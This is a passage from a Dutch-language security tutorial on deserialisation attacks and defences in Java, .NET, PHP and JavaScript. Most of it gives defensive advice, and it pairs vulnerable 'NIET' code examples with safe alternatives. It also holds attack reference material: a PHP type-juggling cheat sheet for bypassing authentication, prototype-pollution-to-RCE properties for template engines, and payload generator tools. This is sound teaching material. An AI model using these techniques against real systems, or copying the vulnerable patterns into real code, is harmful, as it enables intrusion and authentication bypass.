// Gebruik JSON:
$data = json_decode($input, true);

3. Integriteitscontroles

Voeg een HMAC (Hash-based Message Authentication Code) toe aan geserialiseerde data. Als de data is gewijzigd, detecteer je dat voor deserialisatie:

// Voor serialisatie
Mac mac = Mac.getInstance("HmacSHA256");
mac.init(secretKey);
byte[] signature = mac.doFinal(serializedData);
// Stuur serializedData + signature

// Voor deserialisatie
Mac mac = Mac.getInstance("HmacSHA256");
mac.init(secretKey);
byte[] expectedSignature = mac.doFinal(receivedData);
if (!MessageDigest.isEqual(expectedSignature, receivedSignature)) {
    throw new SecurityException("Data is gewijzigd!");
}

4. Verwijder onnodige gadgets van het classpath

In Java: als je Apache Commons Collections niet actief gebruikt, verwijder het dan van je classpath. Geen gadgets op het classpath = geen gadget chains.

5. Upgrade

Veel van deze kwetsbaarheden zijn gefixt in nieuwere versies: - PHP 8.0 heeft het meeste type juggling gedrag verwijderd - lodash.merge filtert __proto__ sinds versie 4.6.2 - .NET’s BinaryFormatter is deprecated en verwijderd in .NET 9 - Java’s serialisatie-filters (JEP 290) zijn beschikbaar sinds Java 9

Taalspecifieke verdediging

Java:

// NIET:
ObjectInputStream ois = new ObjectInputStream(untrustedStream);
Object obj = ois.readObject();

// WEL: gebruik JSON (Jackson, Gson) met POJOs
ObjectMapper mapper = new ObjectMapper();
mapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, true);
// Deserialiseer naar een specifiek type, niet naar Object
User user = mapper.readValue(jsonString, User.class);

.NET:

// NIET:
BinaryFormatter bf = new BinaryFormatter();
object obj = bf.Deserialize(stream);

// NIET:
var settings = new JsonSerializerSettings {
    TypeNameHandling = TypeNameHandling.Auto
};

// WEL: System.Text.Json (geen TypeNameHandling)
var user = JsonSerializer.Deserialize<User>(jsonString);

PHP:

<?php
// NIET:
$obj = unserialize($_COOKIE['session']);

// WEL: JSON
$data = json_decode($_COOKIE['session'], true);

// NIET:
if (md5($input) == $stored_hash) { ... }

// WEL: strict comparison en password_verify
if (password_verify($input, $stored_hash)) { ... }

JavaScript:

// NIET: kwetsbare deep merge
function merge(target, source) {
    for (let key in source) {
        target[key] = source[key];  // Polluted!
    }
}

// WEL: filter prototype keys
function safeMerge(target, source) {
    for (let key of Object.keys(source)) {
        if (key === '__proto__' || key === 'constructor') continue;
        if (typeof source[key] === 'object' && source[key] !== null) {
            target[key] = target[key] || {};
            safeMerge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
}

// OF: gebruik Object.create(null) voor prototype-loze objecten
const safeStore = Object.create(null);

// OF: gebruik Map
const safeMap = new Map();

Referentietabel

Deserialisatie-aanvallen per taal

Taal Sink Detectie Gadget tool Verdediging
Java ObjectInputStream.readObject() AC ED 00 05 / rO0AB ysoserial JEP 290 filters, whitelist classes
.NET BinaryFormatter.Deserialize() Base64 in ViewState/cookies ysoserial.net System.Text.Json, geen TypeNameHandling
PHP unserialize() O: prefix in data PHPGGC json_decode(), allowed_classes
Python pickle.loads() \x80\x05 header json.loads(), nooit pickle op user input
Ruby Marshal.load() \x04\x08 header JSON.parse()

Magic bytes voor detectie

Formaat Hex Base64 prefix
Java serialized AC ED 00 05 rO0ABQ
.NET BinaryFormatter Variabel Variabel (check ViewState)
Python pickle (v5) 80 05 gAU
Ruby Marshal (4.8) 04 08 BAg
PHP serialized Leesbaar: O:, a:, s: N/A (tekst)

PHP type juggling cheat sheet

Expressie Resultaat Waarom
"0e123" == "0e456" true Beide zijn 0 in scientific notation
true == "anything" true Bool true == elke niet-lege string
0 == "php" true (< 8.0) “php” cast naar int 0
"" == null true Lege string is null-achtig
"0" == false true String “0” is falsy
[] == null false Array is niet null
strcmp([], "str") NULL strcmp crasht op arrays
NULL == 0 true NULL cast naar int 0

Prototype pollution RCE chains

Template engine Polluted property Impact
EJS outputFunctionName RCE via template render
Pug block RCE via template compile
Handlebars pendingContent RCE via compiler
Nunjucks env RCE via environment

IB Command referentie

Commando Categorie Kernfunctie
web_deser_java Java deserialisatie ysoserial payloads, gadget chains, HSQLDB
web_deser_dotnet .NET deserialisatie ysoserial.net, DNN, ViewState
web_type_juggle PHP type juggling Magic hashes, JSON confusion, strcmp bypass
web_prototype_pollution JS prototype pollution __proto__ injection, template RCE

Tools

Tool URL Gebruik
ysoserial https://github.com/frohoff/ysoserial Java deserialisatie payloads
ysoserial.net https://github.com/pwntester/ysoserial.net .NET deserialisatie payloads
PHPGGC https://github.com/ambionics/phpggc PHP gadget chain payloads
marshalsec https://github.com/mbechler/marshalsec Diverse marshalling-formaten
JNDI-Exploit-Kit Diverse repos JNDI injection (Log4Shell-stijl)

Samenvatting

Deserialisatie is het probleem dat ontstaat wanneer we vergeten dat niet alle koffers door vrienden worden ingepakt. We nemen binaire blobs, JSON met type-hints, en PHP-strings van het internet, en we bouwen er objecten van in het geheugen van onze server. Objecten die methoden hebben. Objecten die dingen doen.

Java’s gadget chains laten zien hoe bestaande bibliotheken aan elkaar geketend kunnen worden tot een remote code execution machine. .NET’s BinaryFormatter en ViewState bewijzen dat het probleem niet taalgebonden is. PHP’s type juggling demonstreert dat je niet eens deserialisatie nodig hebt — een == in plaats van === is genoeg om authenticatie te omzeilen. En JavaScript’s prototype pollution toont aan dat het verrijken van de prototype-keten van alle objecten in een applicatie slechts een __proto__ property verwijderd is.

De verdediging is conceptueel eenvoudig: vertrouw geen data van de gebruiker om objecten te construeren. Gebruik type-safe formaten zonder class-informatie. Whitelist wat er gedeserialiseerd mag worden. Valideer integriteit met HMACs. En als je PHP schrijft, gebruik dan ===. Altijd. Overal. Geen uitzonderingen.

IB Tip finale: Bij een pentest, zoek systematisch naar deserialisatie-sinks. In Java: grep op readObject, XMLDecoder, fromXML. In .NET: grep op BinaryFormatter, TypeNameHandling, JavaScriptSerializer. In PHP: grep op unserialize, __wakeup, __destruct. In Node.js: grep op merge, extend, __proto__. De sink vertelt je waar de bom tikt. De gadgets vertellen je hoe je de lont aansteekt.